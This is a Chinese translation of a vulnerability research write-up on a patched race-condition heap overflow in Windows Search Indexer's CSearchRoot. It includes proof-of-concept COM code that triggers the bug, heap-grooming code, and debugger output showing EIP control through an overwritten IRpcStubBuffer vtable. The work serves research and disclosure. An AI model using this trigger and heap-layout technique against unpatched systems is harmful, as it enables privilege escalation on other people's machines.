Windows Search Indexer 本地提权漏洞分析

系统 Windows
Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式,对Windows Search Indexer的内存损坏漏洞进行分析非常有趣。因此,此后的Windows Service中很可能会出现这种内存损坏漏洞。

[[352362]]

 Windows Search Indexer 介绍

Windows Search Indexer是一项Windows服务,用于为Windows Search处理文件索引,这为Windows内置的文件搜索引擎提供了动力,该引擎为从“开始”菜单搜索框到Windows资源管理器甚至是“库”函数的所有函数提供支持。

Search Indexer有助于从GUI的角度通过GUI和索引选项将用户定向到服务界面,如下所示。


索引过程中的所有数据库和临时数据都存储为文件并进行管理。通常,在Windows Service中,整个过程都是使用NT AUTHORITY SYSTEM特权执行的。如果由于修改文件路径而碰巧存在逻辑漏洞,则可能会触发特权提升。(例如Symlink攻击)

鉴于最近在Windows Service中发生的大多数漏洞都是由于逻辑漏洞而导致的LPE漏洞,因此我们假定Search Indexer可能有类似的漏洞,但是,我们的分析结果并非如此,随后将介绍更多详细信息。

补丁对比

分析环境是Windows7 x86,因为它具有较小的更新文件,并且易于识别差异,我们下载了该模块的两个补丁版本。

可以从Microsoft更新目录下载它们:

  •  patch程序版本(1月程序):KB4534314 2
  •  补丁程序版本(2月补丁):KB4537813 3

我们从patch过的二进制文件的BinDiff开始(在这种情况下,只有一个:searchindexer.exe)

大多数补丁都是在CSearchCrawlScopeManager和CSearchRoot类中完成的。前者在1月进行了patch,而后者在下个月进行了patch。这两个类都包含相同的更改,因此我们专注于patch的CSearchRoot。

下图显示添加了原始代码,该代码使用Lock来安全地访问共享资源。我们推断,访问共享资源会导致竞争条件漏洞的发生,因为该补丁由putter, getter函数组成。


界面互动

我们参考了MSDN,了解如何使用这些类,并发现它们都与“爬网管理器”相关的,我们可以检查此类的方法信息。

MSDN说4:

爬网范围管理器(CSM)是一组API,可添加,删除和枚举Windows搜索索引器的搜索root和范围规则。当希望索引器开始对新容器进行爬网时,可以使用CSM设置搜索root目录,并为搜索root目录内的路径设置作用域规则。

CSM界面如下:

  •  IEnumSearchRoots
  •  IEnumSearchScopeRules
  •  ISearchCrawlScopeManager
  •  ISearchCrawlScopeManager2
  •  ISearchRoot
  •  ISearchScopeRule
  •  ISearchItem

例如,添加,删除和枚举搜索root和范围规则可以通过以下方式编写:

ISearchCrawlScopeManager告知搜索引擎要爬网和/或监视的容器,以及要包含或排除的容器下的项目。若要添加新的搜索,需要实例化ISearchRoot对象,设置root属性,然后调用ISearchCrawlScopeManager :: AddRoot并将其传递给ISearchRoot对象的指针。

  1. // Add RootInfo & Scope Rule 
  2. pISearchRoot->put_RootURL(L"file:///C:\ "); 
  3. pSearchCrawlScopeManager->AddRoot(pISearchRoot); 
  4. pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS); 
  5.  
  6. // Set Registry key 
  7. pSearchCrawlScopeManager->SaveAll(); 

 当我们不再希望对该URL编制索引时,我们还可以使用ISearchCrawlScopeManager从爬网范围中删除root。删除root还会删除该URL的所有范围规则。我们可以卸载应用程序,删除所有数据,然后从爬网范围中删除搜索root,并且“爬网范围管理器”将删除root以及与该root相关联的所有范围规则。 

  1. // Remove RootInfo & Scope Rule 
  2. ISearchCrawlScopeManager->RemoveRoot(pszURL); 
  3.  
  4. // Set Registry key 
  5. ISearchCrawlScopeManager->SaveAll(); 

 CSM使用IEnumSearchRoots枚举搜索root。出于多种目的,我们可以使用此类枚举搜索root;例如,我们可能想要在用户界面中显示整个爬网范围,或者发现爬网范围中是否已经有特定的root目录或root目录的子级。 

  1. // Display RootInfo 
  2.  PWSTR pszUrl = NULL
  3.  pSearchRoot->get_RootURL(&pszUrl); 
  4.  wcout << L"\t" << pszUrl; 
  5.   
  6.  // Display Scope Rule 
  7.  IEnumSearchScopeRules *pScopeRules; 
  8.  pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules); 
  9.   
  10.  ISearchScopeRule *pSearchScopeRule; 
  11.  pScopeRules->Next(1, &pSearchScopeRule, NULL)) 
  12.   
  13.  pSearchScopeRule->get_PatternOrURL(&pszUrl); 
  14.  wcout << L"\t" << pszUrl; 

 我们认为在处理URL的过程中会出现漏洞,因此,我们开始分析根本原因。

漏洞分析

我们针对以下函数进行了二进制分析:

  •  ISearchRoot :: put_RootURL
  •  ISearchRoot :: get_RootURL

在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL时,我们发现引用了对象的共享变量(CSearchRoot + 0x14)。

put_RootURL函数将用户控制的数据写入CSearchRoot + 0x14的内存中。get_RootURL函数读取位于CSearchRoot + 0x14内存中的数据,该漏洞似乎是由与补丁程序有关的共享变量引起的。

 

因此,我们终于到了漏洞开始的地方,该漏洞在发生以下情况时可能会触发:

1. 首次提取:用作内存分配大小(第9行)

2. 第二次获取:用作内存副本大小(第13行)

 如果第一个和第二个的大小不同,则可能会发生堆溢出,尤其是在第二个提取的大小较大时。我们认为,在发生内存复制之前,我们通过竞争条件充分更改了pszURL的大小。

崩溃现场

通过OleView 5,我们可以看到Windows Search Manager提供的界面,而且我们需要跟据接口的方法来攻击漏洞函数。

  我们可以通过MSDN 6提供的基于COM的命令行源代码轻松地对其进行测试,并编写了攻击存在漏洞的函数的COM客户端代码,如下所示:

  1. int wmain(int argc, wchar_t *argv[]) 
  2.     // Initialize COM library 
  3.     CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); 
  4.  
  5.     // Class instantiate 
  6.     ISearchRoot *pISearchRoot; 
  7.     CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot)); 
  8.  
  9.     // Vulnerable functions hit 
  10.     pISearchRoot->put_RootURL(L"Shared RootURL"); 
  11.     PWSTR pszUrl = NULL
  12.     HRESULT hr = pSearchRoot->get_RootURL(&pszUrl); 
  13.     wcout << L"\t" << pszUrl; 
  14.     CoTaskMemFree(pszUrl); 
  15.  
  16.     // Free COM resource, End 
  17.     pISearchRoot->Release(); 
  18.     CoUninitialize(); 

 漏洞触发非常简单。我们创建了两个线程:一个线程将不同长度的数据写入共享缓冲区,另一个线程同时从共享缓冲区读取数据。 

  1. DWORD __stdcall thread_putter(LPVOID param) 
  2.  ISearchManager *pSearchManager = (ISearchManager*)param; 
  3.  while (1) { 
  4.   pSearchManager->put_RootURL(L"AA"); 
  5.   pSearchManager->put_RootURL(L"AAAAAAAAAA"); 
  6.  } 
  7.  return 0; 
  8. DWORD __stdcall thread_getter(LPVOID param) 
  9.  ISearchRoot *pISearchRoot = (ISearchRoot*)param; 
  10.  PWSTR get_pszUrl; 
  11.  while (1) { 
  12.   pISearchRoot->get_RootURL(&get_pszUrl); 
  13.  } 
  14.  return 0; 

 崩溃了!

  

毫无疑问,在StringCchCopyW函数复制RootURL数据之前,竞争条件已经成功,从而导致堆溢出。

劫持EIP

为了控制EIP,我们应该为发生漏洞的Sever堆创建一个对象。

我们编写了如下的客户端代码,以跟踪堆状态。

  1. int wmain(int argc, wchar_t *argv[]) 
  2.     CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE); 
  3.     ISearchRoot *pISearchRoot[20]; 
  4.     for (int i = 0; i < 20; i++) { 
  5.         CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i])); 
  6.     } 
  7.     pISearchRoot[3]->Release(); 
  8.     pISearchRoot[5]->Release(); 
  9.     pISearchRoot[7]->Release(); 
  10.     pISearchRoot[9]->Release(); 
  11.     pISearchRoot[11]->Release(); 
  12.  
  13.      
  14.     CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL); 
  15.     CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL); 
  16.     Sleep(500); 
  17.      
  18.     CoUninitialize(); 
  19.     return 0; 

 我们发现,如果客户端不释放pISearchRoot对象,则IRpcStubBuffer对象将保留在服务器堆上。而且我们还看到IRpcStubBuffer对象保持在发生漏洞的堆的位置附近。

  1. 0:010> !heap -p -all 
  2.   ... 
  3.   03d58f10 0005 0005  [00]   03d58f18    0001a - (busy)     <-- CoTaskMalloc return 
  4.    mssprxy!_idxpi_IID_Lookup  (mssprxy+0x75) 
  5.   03d58f38 0005 0005  [00]   03d58f40    00020 - (free
  6.   03d58f60 0005 0005  [00]   03d58f68    0001c - (busy)     <-- IRpcStubBuffer Obj 
  7.     ? mssprxy!_ISearchRootStubVtbl+10 
  8.   03d58f88 0005 0005  [00]   03d58f90    0001c - (busy) 
  9.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  10.   03d58fb0 0005 0005  [00]   03d58fb8    00020 - (busy) 
  11.   03d58fd8 0005 0005  [00]   03d58fe0    0001c - (busy) 
  12.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  13.   03d59000 0005 0005  [00]   03d59008    0001c - (busy) 
  14.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 
  15.   03d59028 0005 0005  [00]   03d59030    00020 - (busy) 
  16.   03d59050 0005 0005  [00]   03d59058    00020 - (busy) 
  17.   03d59078 0005 0005  [00]   03d59080    00020 - (free
  18.   03d590a0 0005 0005  [00]   03d590a8    00020 - (free
  19.   03d590c8 0005 0005  [00]   03d590d0    0001c - (busy) 
  20.     ? mssprxy!_ISearchRootStubVtbl+10                       <-- IRpcStubBuffer Obj 

 在COM中,所有接口都有自己的接口存根空间。存根是用于在RPC通信期间支持远程方法调用的较小内存空间,IRpcStubBuffer是此类接口存root的主要接口。在此过程中,支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服务器的堆上。

IRpcStubBuffer的vtfunction如下:

  1. 0:003> dds poi(03d58f18) l10 
  2.   71215bc8  7121707e mssprxy!CStdStubBuffer_QueryInterface 
  3.   71215bcc  71217073 mssprxy!CStdStubBuffer_AddRef 
  4.   71215bd0  71216840 mssprxy!CStdStubBuffer_Release 
  5.   71215bd4  71217926 mssprxy!CStdStubBuffer_Connect 
  6.   71215bd8  71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize(); 
  7.   71215bdc  7121687c mssprxy!CStdStubBuffer_Invoke 
  8.   71215be0  7121791b mssprxy!CStdStubBuffer_IsIIDSupported 
  9.   71215be4  71217910 mssprxy!CStdStubBuffer_CountRefs 
  10.   71215be8  71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface 
  11.   71215bec  712178fa mssprxy!CStdStubBuffer_DebugServerRelease 

 当客户端的COM未初始化时,IRpcStubBuffer :: Disconnect断开对象指针的所有连接。因此,如果客户端调用CoUninitialize函数,则会在服务器上调用CStdStubBuffer_Disconnect函数。这意味着用户可以构造伪造的vtable并调用该函数。

但是,我们并不总是看到IRpcStubBuffer分配在同一位置堆上。因此,需要多次尝试来构造堆布局,经过几次尝试后,IRpcStubBuffer对象被如下可控值(0x45454545)覆盖。

最后,我们可以证明可以间接调用内存中的函数!

 

分析结论

Windows Service中最近发生的大多数LPE漏洞都是逻辑漏洞。通过这种方式,对Windows Search Indexer的内存损坏漏洞进行分析非常有趣。因此,此后的Windows Service中很可能会出现这种内存损坏漏洞。

我们希望该分析将对其他漏洞研究人员有所帮助,并可以用于进一步的研究。

参考文献

  • https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments ↩
  •  https://www.catalog.update.microsoft.com/Search.aspx?q=KB4534314 ↩
  •  https://www.catalog.update.microsoft.com/Search.aspx?q=KB4537813 ↩
  •  https://docs.microsoft.com/en-us/windows/win32/search/-search-3x-wds-extidx-csm ↩
  •  https://github.com/tyranid/oleviewdotnet ↩
  •  https://docs.microsoft.com/en-us/windows/win32/search/-search-sample-crawlscopecommandline ↩

本文翻译自:http://blog.diffense.co.kr/2020/03/26/SearchIndexer.html如若转载,请注明原文地址。

 

责任编辑:姜华 来源: 嘶吼网
相关推荐

2020-10-06 13:58:25

漏洞

2021-05-01 20:52:30

漏洞网络安全网络攻击

2013-11-29 15:34:00

2010-02-02 15:40:11

2023-10-09 18:22:35

2009-04-24 14:08:25

2009-04-24 14:34:51

2023-06-11 17:24:26

2017-04-07 09:46:16

2017-04-17 20:08:19

2015-03-13 10:06:55

2022-04-28 10:54:52

恶意软件漏洞微软

2010-01-23 21:25:34

2023-09-11 06:59:59

2022-03-10 09:41:15

漏洞Linux内核

2010-12-10 15:23:49

Linux漏洞

2021-01-23 09:27:32

Windows10PrivescChec微软

2021-01-13 08:14:36

Windows提权漏洞攻击

2016-05-17 09:42:16

2016-12-12 09:11:20

点赞
收藏

51CTO技术栈公众号